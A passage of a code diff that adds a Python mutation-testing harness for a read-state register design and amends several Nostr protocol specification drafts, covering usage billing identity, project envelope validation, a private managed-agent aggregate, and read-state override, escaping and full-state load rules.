+    Canonical re-publication emits tombstone `RegB(0, 1, 0)`.  After full
+    eventual delivery (both original slots + transient tombstone), the merged
+    result is `RegB(s=1, c=1, b=10)` — dead under clear-wins — permanently
+    suppressing a live override.
+    """
+
+    def split_blob_into_slots(self, tie_policy=CLEAR, n_slots=2):
+        """Split by key type: frontier + ov_s: in slot 0, ov_b: + ov_c: in slot 1.
+        Violates the atomic-grouping rule by separating ov_s: from ov_b:."""
+        blob = self.publish_blob(tie_policy)
+        slots = [{"v": blob["v"], "client_id": blob["client_id"], "contexts": {}}
+                 for _ in range(n_slots)]
+        for wire_key, value in blob["contexts"].items():
+            if wire_key.startswith("ov_b:") or wire_key.startswith("ov_c:"):
+                # ov_b and ov_c go to slot 1 — separated from their ov_s: sibling
+                slots[1]["contexts"][wire_key] = value
+            else:
+                # frontier keys and ov_s: go to slot 0
+                slots[0]["contexts"][wire_key] = value
+        return slots
+
+
+def mutant_m8():
+    """M8: per-entry splitting must be caught by test_interleaved_delivery_grouping —
+    proving that the new interleaved-delivery test has teeth.
+
+    Reproduce Thufir's exact transport witness directly: source live
+    `RegB(1,0,10)` at frontier=10. Per-entry split puts frontier+`ov_s:c0`
+    in slot 0 and `ov_c:c0`+`ov_b:c0` in slot 1. An observer receiving only
+    slot 0 reconstructs `RegB(1,0,0)`, re-publishes tombstone `RegB(0,1,0)`.
+    Full merge including the transient: `RegB(1,1,10)` → inactive.
+
+    Confirmed by running test_interleaved_delivery_grouping with M8_PerEntrySplit;
+    the witness must be caught before resorting to the full suite."""
+    return test_interleaved_delivery_grouping(device_cls=M8_PerEntrySplit)
+
+
+# ---------------------------------------------------------------------------
+# M9: revert split_blob_into_slots to escaped-key grouping
+# (groups frontier by wire key instead of unescaped logical ID —
+# reproduces Thufir's round-2 CRITICAL)
+# ---------------------------------------------------------------------------
+
+class M9_EscapedKeyGrouping(DeviceB):
+    """Reverts `split_blob_into_slots` to group the frontier key by its
+    ESCAPED wire key rather than the unescaped logical context ID.
+
+    For a normal context like "c0", this is a no-op (escape_context_key("c0")
+    == "c0"), so M9 is identical to the correct model on normal contexts.
+    The defect only manifests when the raw context ID starts with a reserved
+    prefix — e.g. raw "ov_s:evil" escapes to frontier wire key "esc:ov_s:evil".
+    The ov_* sibling keys are keyed by the RAW suffix ("ov_s:evil"), while
+    the frontier is keyed by the escaped wire key ("esc:ov_s:evil") — two
+    identities for one logical context, so they land in different slots.
+
+    This reproduces Thufir's round-2 CRITICAL: across publication cycles an
+    observer can receive the new frontier slot (esc:ov_s:evil=10) plus the
+    stale old-cycle override slot (ov_s/ov_c/ov_b at b=0), reconstructing
+    RegB(s=1,c=0,b=0) at frontier=10 — baseline-dead — and emitting tombstone
+    RegB(0,1,0). Full eventual delivery merges to RegB(1,1,10) — dead under
+    clear-wins — permanently suppressing a live override.
+    """
+
+    def split_blob_into_slots(self, tie_policy=CLEAR, n_slots=2):
+        """Split by original (escaped) wire key identity — does not unescape
+        frontier keys before grouping, so escaped contexts split incorrectly."""
+        blob = self.publish_blob(tie_policy)
+        contexts = blob["contexts"]
+
+        groups = {}  # wire_key -> list of (wire_key, value)
+        for wire_key, value in contexts.items():
+            if wire_key.startswith("ov_s:"):
+                ctx = wire_key[5:]
+            elif wire_key.startswith("ov_c:"):
+                ctx = wire_key[5:]
+            elif wire_key.startswith("ov_b:"):
+                ctx = wire_key[5:]
+            else:
+                ctx = wire_key  # frontier: use escaped wire key as group ID (BUG)
+            groups.setdefault(ctx, []).append((wire_key, value))
+
+        slots = [{"v": blob["v"], "client_id": blob["client_id"], "contexts": {}}
+                 for _ in range(n_slots)]
+        for i, (_ctx, pairs) in enumerate(sorted(groups.items())):
+            slot = slots[i % n_slots]
+            for wire_key, value in pairs:
+                slot["contexts"][wire_key] = value
+        return slots
+
+
+def mutant_m9():
+    """M9: escaped-key grouping must be caught by test_escaped_context_slot_grouping —
+    proving that the escaped-context regression test has teeth.
+
+    For a context whose raw ID starts with a reserved prefix ("ov_s:evil"),
+    the frontier wire key is "esc:ov_s:evil" and the ov_* sibling keys are
+    "ov_s:ov_s:evil", "ov_c:ov_s:evil", "ov_b:ov_s:evil". The escaped-key
+    grouping treats "esc:ov_s:evil" (frontier) and "ov_s:evil" (ov_* suffix)
+    as different groups, splitting the register across slots.
+
+    Old/new slot-coordinate mixture across publication cycles then reproduces
+    the round-1 transport poison: partial reconstruction → false tombstone →
+    permanent false clear of a live override.
+
+    The test is parameterized to route through the "mismatched grouping" path
+    (else branch) when the M9 split puts frontier and siblings in different slots,
+    and the witness must be caught."""
+    return test_escaped_context_slot_grouping(device_cls=M9_EscapedKeyGrouping)
+
+
+# ---------------------------------------------------------------------------
+# Runner
+# ---------------------------------------------------------------------------
+
+def run_mutations():
+    mutants = [
+        ("M1: drop baseline dominance", mutant_m1),
+        ("M2: drop max(S,C)+1 bump", mutant_m2),
+        ("M3: tie policy distinguishable", mutant_m3),
+        ("M4: revert to delete-on-dominance compaction (reproduces pass-3 CRITICAL)", mutant_m4),
+        ("M5: uint32 overflow bypass", mutant_m5),
+        ("M6: last-write-wins merge", mutant_m6),
+        ("M7: publish without canonicalization (reproduces pass-1/2 CRITICAL)", mutant_m7),
+        ("M8: per-entry split violates atomic-grouping rule (reproduces pass-2/2 CRITICAL)", mutant_m8),
+        ("M9: escaped-key grouping splits escaped-ctx register across slots (reproduces round-2 CRITICAL)", mutant_m9),
+    ]
+
+    print("=" * 60)
+    print("Mutation harness — candidate B")
+    print("=" * 60)
+
+    caught = []
+    missed = []
+    for name, fn in mutants:
+        violations = fn()
+        if violations:
+            caught.append(name)
+            v = violations[0]
+            detail = str(v)[:200]
+            print(f"  CAUGHT: {name}")
+            print(f"    counterexample: {detail}")
+        else:
+            missed.append(name)
+            print(f"  MISSED: {name}")
+
+    print(f"\nCaught {len(caught)}/{len(mutants)} mutants")
+    if missed:
+        print(f"MISSED: {missed}")
+    print("=" * 60)
+    return len(missed) == 0
+
+
+if __name__ == "__main__":
+    import sys
+    sys.exit(0 if run_mutations() else 1)
diff --git a/docs/nips/NIP-AM.md b/docs/nips/NIP-AM.md
index ff636fb802..794a6722d5 100644
--- a/docs/nips/NIP-AM.md
+++ b/docs/nips/NIP-AM.md
@@ -88,6 +88,8 @@ The `content` field decrypts to a UTF-8 JSON object:
 
   // Usage for THIS turn (computed delta). Fields are null when the harness
   // does not report them — a null MUST NOT be recorded or summed as zero.
+  // Exception: cache fields (cacheReadTokens, cacheWriteTokens) MUST be
+  // omitted rather than null when unavailable — see "Numeric validity" below.
   "turn": {
     "inputTokens":  1234  | null,
     "outputTokens": 567   | null,
@@ -108,13 +110,28 @@ The `content` field decrypts to a UTF-8 JSON object:
   // "turn" object unreliable for this event.
   "deltaReliable": true,
 
+  // Billing identity, present only when the publisher can prove applicability
+  // from the actual endpoint (official provider API) and the actually-requested
+  // model for the usage represented. Omit this field when applicability cannot
+  // be proven — it is never inferred from the configured/session "model" field.
+  // Consumers MUST treat omission as "price unknown"; they MUST NOT infer a
+  // price from the session "model" field. pricingIdentity is OPTIONAL but NOT
+  // nullable: when present, "authority" and "model" MUST be non-null strings;
+  // "cacheClass" is omitted (not null) when it is not applicable.
+  "pricingIdentity": {          // OPTIONAL; omit entirely if unproven
+    "authority":  "api.anthropic.com",  // billing authority (not transport provider)
+    "model":      "claude-sonnet-4-5",           // actually-requested billable model id
+    "cacheClass": "ephemeral"                    // cache-write class; omit when not applicable
+  },
+
   "stopReason": "end_turn"               // optional
 }
 ```
 
 `harness` and `timestamp` are REQUIRED. All other fields are OPTIONAL or
-nullable, except as constrained below. Consumers MUST ignore unknown fields
-(forward compatibility).
+nullable, except as constrained below: `pricingIdentity` is optional but not
+nullable (omit it entirely rather than set it to null). Consumers MUST ignore
+unknown fields (forward compatibility).
 
 ### Ordering and delta recomputation
 
@@ -151,14 +168,48 @@ when no total is reported, `totalTokens` is null. `inputTokens` is the
 inclusive input-side total: where the provider reports cache reads/writes
 separately (e.g. Anthropic `cache_read_input_tokens` /
 `cache_creation_input_tokens`), the publisher folds them into `inputTokens`.
-Publishers MAY additionally report the cache components in optional
-`cacheReadTokens` / `cacheWriteTokens` fields inside `turn` and `cumulative`;
-when present these are informational subsets of `inputTokens`, not additions
-to it.
+Where the provider exposes a cache component, publishers SHOULD report it in
+the optional `cacheReadTokens` / `cacheWriteTokens` fields inside `turn` and
+`cumulative`; these are informational subsets of `inputTokens`, not additions
+to it. Publishers MUST preserve an explicit zero when the provider reports
+zero and MUST omit the field (never null or fabricated zero) when that
+component is unavailable to the publisher — including when the provider
+supports the component but the harness does not surface it. Treating an
+unreported category as zero is incorrect. Note: the payload-wide null
+guidance above does not apply to these cache fields; omission is the only
+valid representation for an unavailable cache component.
 
 `costUsd` values are estimates (provider list prices at publish time, or a
 harness-reported estimate). They are advisory, not billing records.
 
+`pricingIdentity`, when present, identifies the billing authority and
+actually-requested model for the usage represented by this event. `authority`
+is a registered billing-namespace identifier: exact lowercase hostname, no
+scheme, no path, no trailing slash (registered values: `api.anthropic.com`,
+`api.openai.com`, `openrouter.ai`; the set extends only by amendment to this
+NIP). Pricing lookup is an exact string match on `(authority, model)` — any
+deviation loses the price. It is a billing namespace, distinct from the
+runtime transport provider. `model` is the
+billable model identifier as resolved at the point the request was made, not
+the configured/session model. `cacheClass`
+is the cache-write class when applicable (e.g. `ephemeral`). Publishers MUST
+omit `pricingIdentity` when any of the following apply: the request was routed
+through a custom or overridden base URL, a gateway (unless the gateway is the
+named billing authority), or an unresolved alias; the billed model identity
+cannot be confirmed — for direct connections to an official allowlisted
+endpoint, proof is the actually-requested resolved model; for all other routes,
+the response MUST supply authoritative billing identity; or the usage
+represented within this turn contains contributions from more than one billing
+identity (including a mix of identity-bearing and unresolved contributions).
+The existing `model` field
+retains its non-billing semantics (configured/session model) and is never
+overloaded by `pricingIdentity`. Consumers MUST treat omission of
+`pricingIdentity` as "price unknown". Consumers MAY recompute cost estimates
+using the billing identity and a pricing manifest; they MUST retain
+the provenance of any cost value (e.g. `manifest-estimated`, `wire-reported`).
+Consumers MUST NOT merge manifest-estimated and wire-reported costs into an
+unlabeled total.
+
 `stopReason`, when present, MUST be one of `end_turn`, `max_tokens`,
 `cancelled`, `error`, `unknown`. Consumers MUST treat unrecognized
 `stopReason` values as `unknown`; the token counts remain valid.
diff --git a/docs/nips/NIP-MP.md b/docs/nips/NIP-MP.md
index 6ca1ec4749..14936d2a7c 100644
--- a/docs/nips/NIP-MP.md
+++ b/docs/nips/NIP-MP.md
@@ -181,7 +181,7 @@ A relay accepting `kind:30621` MUST validate the envelope at ingest. The rule na
 
 Rules 3 through 6 are evaluated in that order, so an oversized tag list is refused on count before any per-tag parse or set proportional to it is built.
 
-Three checks land in the Buzz validator together with the fixture wiring that exercises them: the `buzz-channel` and `buzz-visibility` bounds in rule 8, and rule 4's arity. The validator bounds `name` and `description` today, and reads element 1 of each member `a` tag while ignoring any element past it.
+The Buzz validator enforces all eight rules. The shared fixtures in [`NIP-MP.fixtures.json`](NIP-MP.fixtures.json) are wired as its test oracle: the relay's unit test suite runs every case against `validate_project_envelope` and asserts each `expect` outcome.
 
 **Duplicates are rejected, never normalized.** A relay cannot dedupe tags inside a signed event: rewriting the tag array changes the event id and invalidates the signature. The choices are reject, or accept and require every present and future consumer to apply a first-wins interpretation rule. Rejecting keeps every stored head canonical and spares all consumers a defensive parse.
 
@@ -297,7 +297,7 @@ Legacy `<owner>:<dtag>` repository routes remain valid and resolve to that repos
 
 ## Conformance Fixtures
 
-Two fixture files carry the machine-checkable contract. Neither has consumers yet; each states what its consumers are required to do.
+Two fixture files carry the machine-checkable contract. `NIP-MP.fixtures.json` is already wired as the relay ingest consumer; the remaining consumers listed below are Phase 2 work.
 
 ### Ingest
 
diff --git a/docs/nips/NIP-PMA.md b/docs/nips/NIP-PMA.md
new file mode 100644
index 0000000000..82592b1eca
--- /dev/null
+++ b/docs/nips/NIP-PMA.md
@@ -0,0 +1,112 @@
+# NIP-PMA: Private Managed-Agent Aggregate
+
+`draft` — protocol/codec reservation only. Relays MUST reject this kind until
+privacy, transactional CAS, backup/restore, revocation, and capability gates are
+deployed.
+
+## Purpose and kind
+
+Kind `30179` is an owner-authored, addressable, owner-readable aggregate for one
+runnable managed agent. Its coordinate is `(owner pubkey, 30179, agent pubkey)`.
+It is the only durable authority after a per-agent migration is independently
+verified. Kinds `30175` and `30177` remain public/compatibility projections.
+
+This reservation does not change current agent authority, storage, startup,
+mutation, deletion, catalog, or sharing behavior.
+
+## Signed outer envelope
+
+Exactly these two-element tags are permitted:
+
+- `d = <64 lowercase hex agent pubkey>` exactly once;
+- `g = <canonical positive decimal generation>` exactly once;
+- `prev = <64 lowercase hex predecessor event id>` exactly once after
+  generation 1 and absent at generation 1;
+- `state = active|deleted` exactly once.
+
+Content is bounded NIP-44 v2 ciphertext encrypted owner-to-owner. Event ID and
+signature, exact kind/author/tag grammar, canonical curve-valid agent keys, and size
+are validated before decrypt. The decrypted payload repeats owner, agent,
+generation, predecessor, and state; any mismatch is corruption.
+
+## Decrypted v1 payload
+
+Top-level and nested core schemas reject unknown and duplicate JSON member
+names. Forward-compatible data is confined to namespaced `extensions` entries;
+core semantics never depend on an extension. Projection recovery v1 contains
+the complete signed public event; validation verifies its signature and ID,
+owner, kind and `d` coordinate, and hashes its exact content bytes against the
+binding. This makes reconstruction deterministic rather than an agreement over
+an untyped JSON blob.
+
+An active payload binds exact signed `30175` and `30177` event IDs, SHA-256 of
+their exact content bytes, and complete versioned recovery material. It also
+contains the preserved agent nsec and an optional NIP-OA attestation, plus
+explicitly allowlisted private runnable configuration. When present, the
+attestation MUST be a cryptographically valid unconditional (`conditions = ""`)
+owner-to-agent authorization: its owner equals the aggregate author and its
+agent equals the nsec-derived `d` coordinate. Conditional, malformed, wrong-owner,
+or wrong-agent attestations are rejected. The nsec MUST derive the `d`
+coordinate.
+
+All active aggregates require a stable `30175` definition binding. Before a
+legacy definition-less agent can be encoded, the migrator MUST deterministically
+materialize its definition fields as a non-shared `30175` under the owner, with
+a stable collision-safe slug derived from the agent pubkey. Materialization and
+read-back verification are prerequisites: failure leaves the agent `LegacyOnly`
+and preserves its local record/key unchanged. No client may synthesize a default
+or mint a replacement identity to satisfy this schema.
+
+A deleted payload is minimal: it contains no active body, advances generation
+from its predecessor, and includes `deleted_at`. Relay anti-resurrection and
+undelete rules are specified by the later transactional CAS contract; generic
+NIP-33 LWW is explicitly insufficient.
+
+## Field authority
+
+- `30175` definition projection: display name, prompt, runtime/model/provider,
+  name pool, definition behavior defaults, sharing/provenance, public avatar.
+- `30177` instance projection: agent pubkey/name/definition linkage,
+  parallelism, `respond_to`, and allowlist.
+- private portable canonical: nsec, auth tag, env, durable timeout/team fields,
+  and secret-bearing backend configuration.
+- private but device-validated: relay URL, explicit command/args, backend remote
+  identity, and any explicitly portable path/provider reference.
+- local device policy/derived: start-on-launch, auto-restart, effective binary
+  paths, installed team directory, and catalog-derived commands.
+- legacy conversion only: create-time command/model/provider mirrors,
+  deprecated MCP/turn timeout, source-version drift markers, and relay-mesh
+  fallback markers where a definition is authoritative.
+- transient local only: PID and all last start/stop/exit/error receipts/logs.
+
+Adding a `ManagedAgentRecord` field must update an exhaustive Desktop
+classification/conversion fixture before migration-writing code can merge.
+This inert core-only reservation does not yet depend on the Desktop type and
+therefore does not claim to provide that compile-time tripwire.
+
+## Aggregate submission boundary
+
+Three ordinary Nostr `EVENT` writes cannot atomically commit an aggregate. The
+future relay contract accepts independently signed projection candidates plus
+the signed private head through one authenticated aggregate submission and one
+PostgreSQL transaction. It validates CAS predecessor/generation, signatures,
+hashes, recovery material, definition revision, tombstone watermark, and all
+coordinates before exposing any candidate. Fan-out begins only after commit.
+
+Public catalog definitions require an independently verifiable public
+CAS/revision head; browsing must never require decrypting kind `30179`.
+
+## Required deployment order
+
+1. this inert codec/kind reservation while ingest still rejects `30179`;
+2. author-only privacy gates, SQL visibility before `LIMIT`, and verification
+   that the positive FTS allowlist continues to exclude `30179`;
+3. dark CAS schema/transaction;
+4. feature-gated aggregate submission;
+5. read/repair/export/import and destructive restore drill;
+6. tombstone revocation across authentication/ingest/session caches;
+7. owner rotation epoch/freeze/receipts/activation;
+8. Desktop reader and verified dual-write migration.
+
+No phase may publish secrets before step 2 or retire local recovery evidence
+before the complete migration exit gate passes.
diff --git a/docs/nips/NIP-RS.md b/docs/nips/NIP-RS.md
index 1ca30ea08f..6a095df60a 100644
--- a/docs/nips/NIP-RS.md
+++ b/docs/nips/NIP-RS.md
@@ -20,15 +20,14 @@ read.
 
 A user running Nostr clients on multiple devices (phone, desktop, web) has no way to share read position across those clients. Each instance independently tracks what has been read, causing already-read content to appear unread on other devices.
 
-This NIP defines a minimal, privacy-preserving protocol for propagating read state across client instances without requiring relay-side logic or coordination between different client implementations.
+This NIP defines a minimal, privacy-preserving protocol for propagating read state across client instances without requiring a new event kind, a new wire message, relay-stored read-state logic, or coordination between different client implementations. It is not free of relay obligations: a relay serving the manual-unread override layer's full-state load must satisfy the ordering, capacity, floor, push, and barrier contract that section enumerates.
 
 ## Non-Goals
 
-This NIP does not define a durable log of all read messages — blobs are best-effort recent activity hints bounded by a time horizon.
+This NIP does not define a durable log of all read messages — frontier blobs are best-effort recent activity hints bounded by a time horizon. Exception: `ov_*` override entries, including tombstone floors, are durable state — they are exempt from age pruning, budget eviction, and horizon-bounded fetching, they live in a single coordinate per installation, and they MUST be carried forward before that coordinate is deleted or abandoned (see Manual-Unread Override Layer — Override State Durability).
 This NIP does not define cross-client interoperability on context ID format — context identifiers are opaque by default and meaningful only within a single client family, except for OPTIONAL well-known schemes defined in this NIP (`thread:<root-event-id>` and `msg:<event-id>`, defined under Read Context Schemes), which are provided for cross-client thread/message-read interoperability.
-This NIP does not define mark-as-unread — the merge rule is monotonic by design.
 This NIP does not guarantee ordering of read events across devices.
-This NIP does not require relay-side logic.
+This NIP does not require relay-stored read-state logic: no new event kind, no new wire message, and nothing a relay must interpret about read state. Clients implementing the manual-unread override layer do depend on relay behaviour their full-state load cannot verify (see Full-State Load).
 This NIP does not define read receipts, seen-by lists, or any mechanism for
 tracking what other users have read.
 
@@ -53,18 +52,26 @@ Clients publish a `kind:30078` addressable event (per [NIP-78](78.md)) with the
 
 #### `d` Tag
 
-The `d` tag MUST be `read-state:<slot-id>`, where `<slot-id>` is a random opaque string (e.g., 32 random hex characters) generated by the client on first launch and persisted locally. The `<slot-id>` has no relationship to the `client_id` — it is solely a unique key for NIP-33 addressable event semantics. Each client instance MUST use a stable, unique `<slot-id>` for the lifetime of that installation.
+The `d` tag MUST be `read-state:<slot-id>`, where `<slot-id>` is exactly 32 lowercase hexadecimal characters (`[0-9a-f]{32}`), generated randomly by the client on first launch and persisted locally. The `<slot-id>` has no relationship to the `client_id` — it is solely a unique key for NIP-33 addressable event semantics. The shape is fixed rather than opaque so that a relay can recognize a read-state coordinate structurally, from the `d` tag alone and without decrypting anything, and apply per-coordinate protections to it; a client that picks some other shape is not merely stylistically different, it forfeits those protections silently.
+
+**Primary coordinate:** a client MUST designate one coordinate as its **primary** and MUST use a single stable, unique `<slot-id>` for it for the lifetime of that installation. The primary `<slot-id>` changes only on a `client_id` conflict (below) or rotation (see Client-ID Rotation).
+
+**Additional frontier-only coordinates:** a client MAY publish additional coordinates under distinct `<slot-id>` values when its primary blob would otherwise exceed the size budget. Additional coordinates MUST NOT contain `ov_*` entries — they carry frontier entries only, and are therefore freely rewritable and freely deletable (see Orphaned Blob Deletion). A client MUST persist the `<slot-id>` values of its additional coordinates locally so that it can rewrite and delete them.
+
+**All `ov_*` entries, and the frontier entries of the contexts they belong to, MUST live in the primary coordinate.** A client implementing the manual-unread override layer MUST NOT distribute `ov_*` entries across coordinates and MUST NOT move them between coordinates: there is exactly one override-bearing coordinate per installation.
 
 If a client fetches its own `d` tag coordinate and the decrypted `client_id` does not match its local `client_id`, the coordinate is conflicted. The client MUST NOT publish to that coordinate and MUST generate a new random `<slot-id>` before the next publish.
 
 Events with zero `d` tags MUST be ignored.
 Events whose `d` tag value does not begin with `read-state:` MUST be ignored.
 Events with more than one `d` tag MUST be ignored.
-The `<slot-id>` MUST be a non-empty ASCII string of 1–64 characters.
+Events whose `<slot-id>` is not exactly 32 lowercase hexadecimal characters MUST be ignored.
+
+Recognizable coordinates also serve the accumulation discipline this NIP depends on: a relay that can identify a read-state coordinate structurally can replace superseded versions outright instead of retaining a tombstone row per publish, which keeps the coordinate count a full-state load must enumerate near one per live installation (see Full-State Load).
 
 #### `t` Tag
 
-Events MUST include exactly one `["t", "read-state"]` tag. This enables relay-side filtering without fetching all `kind:30078` events for the user.
+Events MUST include exactly one `["t", "read-state"]` tag. The tag is a discoverability marker: it lets a client express "read-state events only" in a single filter. It is not a guarantee of relay-side selectivity — a relay MAY apply tag constraints after its result cap, and `kind:30078` is shared with unrelated application data — so clients MUST apply the tag as a correctness filter locally on everything they receive, and MUST NOT infer from a short result that no further coordinates exist. A client performing a full-state load MUST omit the tag from its filter entirely (see Full-State Load).
 
 Events with zero `t` tags with value `read-state`, or more than one `t` tag with value `read-state`, MUST be ignored.
 
@@ -104,6 +111,7 @@ After decryption, clients MUST apply the following validation rules:
 - Events whose `contexts` field is not a JSON object MUST be discarded.
 - Individual context entries whose timestamp is not an integer in the range 0–4294967295 MUST be discarded (the entry is dropped; the rest of the blob is still processed).
 - Individual context entries whose context ID exceeds 256 bytes MUST be discarded.
+- Override counter entries (keys beginning with `ov_s:`, `ov_c:`, or `ov_b:`) MUST be validated as a complete logical group BEFORE any decoding, zero-filling, merging, or canonicalizing. Clients MUST collect all `ov_s:`, `ov_c:`, and `ov_b:` entries for the same `<ctx>` suffix together before processing them. The only accepted wire shapes for an override group are: (a) a complete live group containing exactly the three keys `ov_s:<ctx>`, `ov_c:<ctx>`, and `ov_b:<ctx>` with valid uint32 values, or (b) a tombstone floor containing only `ov_c:<ctx>` with a valid uint32 value. Any other shape (partial group, extra keys, or invalid value in any sibling) MUST cause the entire override group to be rejected; the corresponding frontier entry for `<ctx>` MUST be retained. Applying the generic per-entry discard rule before group collection is prohibited for override entries.
 - Blobs containing more than 10,000 context entries MUST be rejected.
 - If a blob contains duplicate context keys, clients SHOULD use the last value encountered (consistent with RFC 8259 §4).
 - Clients SHOULD ensure the total serialized event does not exceed the relay's maximum event size (commonly 64 KB per NIP-01). Clients receiving events that exceed their configured size limit SHOULD discard them.
@@ -112,6 +120,15 @@ After decryption, clients MUST apply the following validation rules:
 
 Context identifier format is not prescribed by this NIP. Clients choose identifiers appropriate to their context type (e.g., a NIP-28 channel event ID, a NIP-29 group address, a pubkey for DMs). Interoperability between different client implementations on context ID conventions is outside the scope of this NIP.
 
+#### Reserved Namespace
+
+The key prefix stem `ov_` (3 bytes) and the escape marker `esc:` (4 bytes) are reserved for the manual-unread override layer defined below. Clients MUST escape any raw context ID that begins with `ov_` or `esc:` when using it as a frontier key in the `contexts` map:
+
+- **On publish:** prepend `esc:` to any raw context ID beginning with `ov_` or `esc:` before writing it as a frontier key (e.g., raw `ov_s:evil` → wire key `esc:ov_s:evil`; raw `esc:foo` → wire key `esc:esc:foo`).
+- **On receive:** strip exactly one leading `esc:` from any frontier wire key beginning with `esc:` to recover the raw context ID (e.g., wire key `esc:ov_s:evil` → raw `ov_s:evil`; wire key `esc:esc:foo` → raw `esc:foo`). This is a bijection — applying escape then unescape is the identity function. Clients MUST NOT strip more than one `esc:` prefix per receive.
+
+**Backward-compatibility limitation:** a context published *unescaped* by a client predating this amendment, whose raw ID happens to start with `ov_` or `esc:`, is not safely migrated. The scheme protects contexts generated by amendment-aware clients going forward; it does not retroactively rewrite history. This residual hazard is documented as a known limitation. Buzz's own context ID shapes (channel UUID, `msg:hex64`, `thread:hex64`) cannot trigger it.
+
 #### Read Context Schemes (Optional)
 
 This subsection defines OPTIONAL well-known context schemes for tracking read
@@ -281,13 +298,13 @@ Because context timestamps are derived from message `created_at` values — whic
 
 ### Fetching
 
-To load read state, a client MUST fetch all `kind:30078` events for the user within the time horizon using the `#t` filter:
+To load read state, a client MUST fetch all `kind:30078` events for the user. Unless it is performing a full-state load (below), it SHOULD narrow the fetch with the `#t` filter:
 
 ```json
-{"kinds": [30078], "authors": ["<user-pubkey>"], "#t": ["read-state"], "since": <now - horizon>}
+{"kinds": [30078], "authors": ["<user-pubkey>"], "#t": ["read-state"]}
 ```
 
-Clients SHOULD limit the fetch to events with `created_at` within a configurable time horizon (default: 7 days).
+Clients that neither read nor write `ov_*` override state SHOULD limit the fetch to events with `created_at` within a configurable time horizon (default: 7 days) by adding `"since": <now - horizon>`, accepting that frontiers older than the horizon become unknown. Clients that implement the manual-unread override layer MUST NOT filter the fetch by age or by tag, and MUST establish completeness (see Full-State Load below).
 
 After fetching, clients MUST:
 
@@ -295,11 +312,71 @@ After fetching, clients MUST:
 2. Discard blobs that fail validation (see Content Validation).
 3. Identify the blob whose decrypted `client_id` matches the client's own `client_id` — this is the client's own blob.
 
-If multiple blobs decrypt to the same `client_id` (e.g., due to a prior rotation that left an orphaned blob, or a backup/restore that duplicated identifiers), the client MUST treat the blob with the highest `created_at` as its own and merge all others into the read state as if they were from other instances. The client SHOULD delete the stale duplicate(s) via NIP-09 deletion.
+If multiple blobs decrypt to the same `client_id` (e.g., due to a prior rotation that left an orphaned blob, or a backup/restore that duplicated identifiers), the client MUST treat the blob at its own primary coordinate as its own and merge all others into the read state as if they were from other instances. If none of them is at the client's own primary coordinate, the blob with the highest `created_at` is its current reference. Deletion of such a stale duplicate is governed by Orphaned Blob Deletion — a duplicate carrying `ov_*` entries MUST NOT be deleted until its override state has been carried forward.
 
 4. Merge all valid blobs (including the client's own) using the merge rule.
 
-Absence of a context in all fetched blobs means the read state for that context is **unknown** — clients SHOULD treat unknown contexts as unread (conservative default). The horizon is a storage and fetch optimization, not a semantic claim about read status. Contexts that were read but have aged out of the time horizon are indistinguishable from never-read contexts. Clients MAY extend the horizon or maintain a local cache to mitigate this.
+Absence of a context in all fetched blobs means the read state for that context is **unknown** — clients SHOULD treat unknown contexts as unread (conservative default). For clients using a finite horizon, the horizon is a storage and fetch optimization, not a semantic claim about read status: contexts that were read but have aged out of the time horizon are indistinguishable from never-read contexts. Clients MAY extend the horizon or maintain a local cache to mitigate this. Clients implementing the override layer do not filter the fetch by age at all (see above), so for them this ambiguity arises only from write-time frontier pruning.
+
+#### Full-State Load
+
+Clients that implement the manual-unread override layer MUST perform a **full-state load**: they MUST NOT apply a finite `since` filter, and they MUST establish that every one of the user's `read-state` coordinates has been retrieved. Because the payload is encrypted, a relay filter cannot select for override-bearing events: any event-level window can exclude the only coordinate carrying a tombstone floor, which reopens the resurrection witness in Override State Durability regardless of any per-entry exemption. For these clients the time horizon is a *write-time* frontier pruning policy only (see Debounce and Pruning), never a fetch filter.
+
+Removing `since` does not by itself make the result complete. Relays MAY cap the number of events returned for a historical query, MAY cap below the client's requested `limit`, and emit end-of-stored-events after the capped query — so **a single query proves nothing.** End-of-stored-events marks the end of the capped result, not the end of the matching set, and a short result does not establish that no further coordinates exist. Caps typically retain the newest events and drop the oldest, which are precisely the rotation-predecessor and orphaned coordinates whose tombstone floors this layer depends on. A silently truncated load that omits the sole carrier of a floor merges a stale live register unopposed and reports a manually-unread context as read, permanently.
+
+A full-state load MUST therefore be enumerated with no tag constraint in the filter:
+
+```json
+{"kinds": [30078], "authors": ["<user-pubkey>"], "limit": <n>}
+```
+
+A relay MAY deliver fewer events than its result cap selected — for example, by applying tag constraints only after the cap and withholding the events that fail them. Under a tag-constrained filter the number of events the client receives is therefore not the number the cap selected: a delivered page can be short, or empty, while older matching coordinates still exist below it, and no observation the client can make distinguishes the two. `kind:30078` is arbitrary application data whose `d` tag namespace is open to every application that has ever written under the user's key, so this is not a hypothetical — a page can be filled entirely by coordinates unrelated to read state. With the tag constraint omitted, the client asks for exactly what it will accept, and the events the cap selects are the events it receives. Selection moves client-side, which is where the validation rules already place it: collect coordinates only from `d` tags of the form `read-state:<slot-id>` and ignore every other event. The cost is that the client fetches its own application data at that kind rather than a relay-selected subset of it.
+
+A client MUST NOT test completeness by comparing the number of events returned against the `limit` it requested: the effective cap is the relay's, a relay MAY cap below the requested value, and a relay's advertised maximum limit is not necessarily the limit it enforces — so no comparison against the requested `limit` is a valid truncation test. What the client MAY compare is one delivery against another. Let `C` be the largest number of events the relay delivered for any single **preceding** query in this load. The relay demonstrably delivered `C` events at once, so its cap is at least `C`, and a query that delivers fewer than `C` events was not cut short by that cap. Completeness is established by continuation on a strictly decreasing cursor, with each band discharged by that comparison.
+
+`C` yields nothing at the start of a load, and yields nothing for the whole of a load whose entire history at this kind is a single event: one delivery of one event bounds the cap below by one, and no delivery can be smaller than that. The procedure therefore also fixes a floor, `L = 2`, required of relays below. A delivery is bounded by the requested `limit` as well as by the relay's cap, so the floor licenses a conclusion about a delivery only together with step 1's requirement that the requested `limit` be at least `L`: what the client may conclude is that a query it issued for at least `L` events, whose matching set holds at least `L`, delivers at least `L`. A threshold above the requested `limit` would be unreachable by construction, and a test that can never be met declares a truncated page exhausted. It is stated at the smallest value that admits a second event, because a larger floor is a stronger claim about relays that buys nothing further: a relay that will deliver only one event per query cannot express `limit` semantics and cannot serve a user who has two coordinates at all, whereas any floor above two would begin excluding relays this procedure does not need to exclude.
+
+Enumeration descends, so it cannot see a coordinate that moves *up* while it runs. Because these are addressable events, a republish replaces the previous version rather than appending: a coordinate the client already collected at a low `created_at` can be replaced, during the load, by a version above the cursor the client has already passed — and the old version stops existing, so no continuation and no pinned window will ever return either one. If that new version carries a tombstone floor the old one lacked, a load that reported *complete* merged without it.
+
